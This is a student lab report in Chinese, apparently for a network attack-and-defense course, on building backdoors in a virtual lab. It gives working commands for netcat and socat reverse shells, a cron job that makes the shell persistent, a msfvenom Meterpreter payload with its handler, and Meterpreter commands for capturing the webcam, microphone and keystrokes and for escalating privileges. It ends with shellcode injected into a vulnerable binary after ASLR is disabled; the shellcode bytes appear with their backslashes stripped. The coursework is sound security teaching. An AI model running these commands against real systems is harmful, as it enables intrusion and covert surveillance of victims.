• 2019-2020-2 20175325石淦铭《网络对抗技术》Exp2 后门原理与实践


    2019-2020-2 20175325石淦铭《网络对抗技术》Exp2 后门原理与实践


    目录:

    • 基础知识
    • 实验内容
    • 实验步骤
    • 遇到的问题及解决方法
    • 实验感想

    基础知识:

    1、例举你能想到的一个后门进入到你系统中的可能方式?

    • 通过下载带后门的程序或者点开带有后门的软件,网页木马在得到用户连接后,自动发送安装程序给用户,或者别人u盘携带了木马,不小心插到了自己电脑上。

    2、例举你知道的后门如何启动起来(win及linux)的方式?

    • 后门是可以把自己的名字改成类似于Windows自身可执行文件的,这样Windows就无法发现有木马,可以更改注册表,随系统启动启动。

    3、Meterpreter有哪些给你映像深刻的功能?

    • 获取目标主机摄像头。

    4、如何发现自己有系统有没有被安装后门?

    • 使用360杀毒软件进行杀毒扫描;
    • 查看端口、服务、任务计划、开机自启动项等是否异常。

    实验内容:

    • 使用netcat获取主机操作Shell,cron启动;
    • 使用socat获取主机操作Shell, 任务计划启动;
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    实验步骤:

    一、使用netcat获取主机操作Shell,cron启动

    • windows获取linux Shell

    1、在win7中打开cmd,使用ipconfig命令查看IP地址为:192.168.216.1

    2、ncat.exe -l -p 5325监听本机的5325端口

    3、在kali下,输入nc 192.168.216.1 -e /bin/sh(使用nc指令的-e选项反向连接Windows主机的5325端口)

    4、可以看到win下成功获得kali的shell

    • Linux获得Windows Shell

    1、在Kali环境下用查看IP

    2、Linux中使用nc指令,nc -l -p 5325,监听5325端口

    3、Windows反弹连接Linux使用ncat.exe -e cmd.exe 192.168.216.132 5325

    4、kali:可以输入Windows命令ipconfig

    • cron启动

    1、在Windows系统下,ncat.exe -l -p 5325,监听5325端口
    2、Linux中用crontab -e指令编辑一条定时任务,在最后一行加入20 * * * * /bin/netcat XXXXXXX 5325 -e /bin/sh,意思是在每个小时的第20分钟反向连接Windows主机的5325端口,就会启动cron

    二、使用netcat获取主机操作Shell,cron启动

    1、在Windows系统下,打开计算机管理->任务计划程序,创建任务,填写任务名称后,新建一个触发器

    2、下载socat.rar,并在程序或脚本中选择socat.exe

    3、任务创建后,右键它使任务运行。

    4、在Kali环境下输入指令socat - tcp:192.168.216.1:5325,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的5325端口

    三、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1、在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.132 LPORT=5325 -f exe > 20175325.exe生成后门程序(LHOST=kali linux的IP)

    2、输入如下命令,

    • Win7:ncat.exe -l > 20175325.exe
    • kali: nc 192.168.216.1 5325 < dkx_20175325.exe(这里的地址是Win7的地址)

    3、在Kali上使用msfconsole指令进入msf控制台,输入以下代码

    use exploit/multi/handler  //使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
    set LHOST 192.168.216.132  //这里用的是kali的IP
    set LPORT 5325
    show options //查看设置
    

    设置完成后,设置完成后,利用exploit,执行监听,在windows中运行20175325.exe

    4、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。

    四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 音频:linux使用record_mic可以截取一段音频

    • 摄像头:linux使用webcam_snap可以获取摄像头内容

    • 键盘:linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录

    • 截屏:linux使用screenshot可以进行截屏

    • 用户:linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

    五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    1、下载反弹连接的shellcode并提取其中的机器码
    x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    2、输入如下代码:

    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,2未关闭
    

    3、使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中

    perl -e 'print "A"x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    4、打开另一个终端中msfconsole,并打开监听,在原终端运行pwn1(cat input_2;cat) | ./pwn1,另一边就可以得到shell了。

    遇到的问题及解决方法

    问题一、在kali虚拟机中无法进行ipconfig来查看虚拟机IP地址

    解决方法:依次输入:whereis ipconfigecho $PATH/sbin/ipconfig 就可以解决了

    实验感想:

    此次的实验学习了很多知识,让我初步了解了如何去搭建一个后门并进行相关的操作,自己动手做实验也加深了对知识的理解。

  • 相关阅读:
    Linux学习之十九-Linux磁盘管理
    Linux学习之十八-sudo分权管理
    Linux学习之十七-配置Linux简单的脚本文件自启动
    Linux系统救援模式应用:恢复误删的系统文件
    Linux学习之十六-Linux用户管理
    Linux学习之十五-Linux文件特殊权限和附加权限
    Linux学习之十四-Linux文件和目录权限
    Linux学习之十三-vi和vim编辑器及其快捷键
    Linux学习之十二-Linux文件属性
    Linux系统救援模式应用:单用户模式找回密码
  • 原文地址:https://www.cnblogs.com/sgm5/p/12534551.html
Copyright © 2020-2023  润新知